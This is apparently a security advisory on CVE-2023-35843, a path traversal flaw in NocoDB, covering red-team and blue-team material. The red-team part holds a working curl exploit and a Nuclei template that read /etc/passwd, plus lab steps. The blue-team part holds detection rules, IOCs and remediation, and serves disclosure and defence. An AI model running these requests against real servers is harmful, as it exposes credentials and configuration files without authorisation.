CVE-2023-35843

Executive Summary

CVE-2023-35843 is a critical path traversal vulnerability affecting NocoDB versions up to and including 0.106.1. An unauthenticated attacker can exploit the /download route by manipulating the path parameter to read arbitrary files from the server. This allows access to sensitive files such as configuration files, source code, and credentials, leading to potential data breaches and further compromise. The vulnerability has a CVSS score of 7.5 (High) and is actively weaponized with a public Nuclei template.

Supply Chain & Package Security

NocoDB is an open-source Airtable alternative distributed via npm and Docker. The vulnerable component is part of the nocodb npm package. Users should verify their package version and update immediately. The vulnerability exists in the attachment controller logic, which is a core part of the application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation and the potential for significant data exposure.

Deep Dive & Mechanics

The vulnerability resides in the /download route of NocoDB's attachment controller. The application fails to properly sanitize user-supplied input for the path parameter, allowing directory traversal sequences (e.g., ../) to escape the intended attachment directory. The vulnerable code is located in packages/nocodb/src/lib/controllers/attachment.ctl.ts (lines 62-74) and packages/nocodb/src/controllers/attachments.controller.ts (lines 55-66). The server does not validate that the resolved path remains within the allowed directory, enabling an attacker to read any file on the filesystem.

Vulnerable vs. Patched Code

Vulnerable Code (attachment.ctl.ts):

// Vulnerable: No path validation
router.get('/download', async (req, res) => {
  const filePath = req.query.path;
  // Directly uses user input without sanitization
  res.download(filePath);
});

Patched Code (Hypothetical):

// Patched: Validate and restrict path
const path = require('path');
router.get('/download', async (req, res) => {
  const userPath = req.query.path;
  const safePath = path.resolve('/allowed/directory', userPath);
  if (!safePath.startsWith('/allowed/directory')) {
    return res.status(403).send('Forbidden');
  }
  res.download(safePath);
});

The patched version ensures the resolved path stays within a predefined directory, preventing traversal attacks.

Exploitation & Lab Setup

Red Team

Exploit Code (using curl):

curl --path-as-is "http://target:8080/download/..%2F..%2F..%2F..%2Fetc%2Fpasswd"

Nuclei Template (provided):

id: CVE-2023-35843

info:
  name: NocoDB version <= 0.106.1 - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database contents, and other confidential data.
  remediation: |
    Upgrade NocoDB to a version higher than 0.106.1 to mitigate the vulnerability.
  reference:
    - https://advisory.dw1.io/60
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35843
    - https://github.com/nocodb/nocodb/blob/6decfa2b20c28db9946bddce0bcb1442b683ecae/packages/nocodb/src/lib/controllers/attachment.ctl.ts#L62-L74
    - https://github.com/nocodb/nocodb/blob/f7ee7e3beb91d313a159895d1edc1aba9d91b0bc/packages/nocodb/src/controllers/attachments.controller.ts#L55-L66
    - https://github.com/0x783kb/Security-operation-book
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-35843
    cwe-id: CWE-22
    epss-score: 0.91956
    epss-percentile: 0.99702
    cpe: cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nocodb
    product: nocodb
    shodan-query: http.favicon.hash:-2017596142
    fofa-query: icon_hash=-2017596142
  tags: cve2023,cve,nocodb,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

Lab Setup:

1. Deploy a vulnerable NocoDB instance using Docker: docker run -d -p 8080:8080 nocodb/nocodb:0.106.1
2. Run the Nuclei template: nuclei -t CVE-2023-35843.yaml -u http://localhost:8080
3. Alternatively, use curl to read /etc/passwd.

Blue Team

Detection Steps:

• Monitor HTTP GET requests to /download with path parameters containing ../ or %2F.
• Alert on responses containing sensitive file patterns (e.g., root:, BEGIN RSA PRIVATE KEY).
• Review server logs for unusual file access attempts.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path="/download" uri_query=*..*
| table _time, src_ip, uri, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /download/..%2F..%2F..%2F..%2Fetc%2Fpasswd
  • Repeated traversal patterns in the path parameter (e.g., %2F, ../)
• File IOCs:
  • Unauthorized access to /etc/passwd, /etc/shadow, .env, config.js
• Log IOCs:
  • 200 responses to /download with non-attachment paths
  • Error logs showing path resolution failures

Detection Engineering

YARA Rule

rule CVE_2023_35843_NocoDB_PathTraversal {
    meta:
        description = "Detects path traversal attempts against NocoDB /download endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-35843"
    strings:
        $traversal1 = "..%2F" ascii wide nocase
        $traversal2 = "../" ascii wide nocase
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $endpoint = "/download" ascii wide nocase
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: NocoDB Path Traversal Attempt
id: 3a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects path traversal attempts against NocoDB /download endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35843
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '..%2F'
            - '../'
            - '%2e%2e%2f'
        cs-uri-stem|contains: '/download'
    condition: selection
falsepositives:
    - Legitimate file downloads with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-35843 NocoDB Path Traversal Attempt"; flow:to_server,established; content:"/download"; http_uri; content:"..%2F"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NocoDB to version > 0.106.1.
2. If upgrade is not possible, apply a WAF rule to block requests containing ../ or %2F in the /download path.
3. Restrict network access to the NocoDB instance to trusted IPs only.

Long-Term Measures:

• Implement input validation and path sanitization for all file-related endpoints.
• Use a chroot or containerized environment to limit file system access.
• Conduct regular security audits and penetration testing.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
Date: 2025-04-10
CVE: CVE-2023-35843
Status: Active Exploitation
Recommendation: Immediate upgrade to patched version

{/* [Security Hash: 6103E5C9A15A7A17C31F194B] */}